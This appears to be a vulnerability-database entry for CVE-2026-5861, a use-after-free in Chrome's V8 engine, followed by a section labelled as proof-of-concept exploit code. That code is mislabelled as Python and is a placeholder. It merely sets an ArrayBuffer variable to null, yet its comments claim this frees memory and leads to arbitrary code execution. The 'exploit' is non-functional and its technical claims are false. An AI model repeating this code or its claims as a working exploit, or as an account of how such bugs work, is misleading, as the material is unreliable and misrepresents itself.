Use after free in V8 in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 147.0.7727.55
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-5861 -->
<!-- Triggering UAF in V8 via crafted HTML -->
<html>
<body>
<script>
// This script attempts to trigger the Use-After-Free condition
function exploit() {
// Step 1: Allocate and prepare object
let vulnerable_obj = new ArrayBuffer(0x100);
// Step 2: Trigger the vulnerability logic (Simplified)
// In a real scenario, specific V8 internals manipulation occurs here
// Step 3: Free the object
vulnerable_obj = null;
// Step 4: Attempt to reuse the freed memory
// If successful, this leads to arbitrary code execution
}
exploit();
</script>
</body>
</html>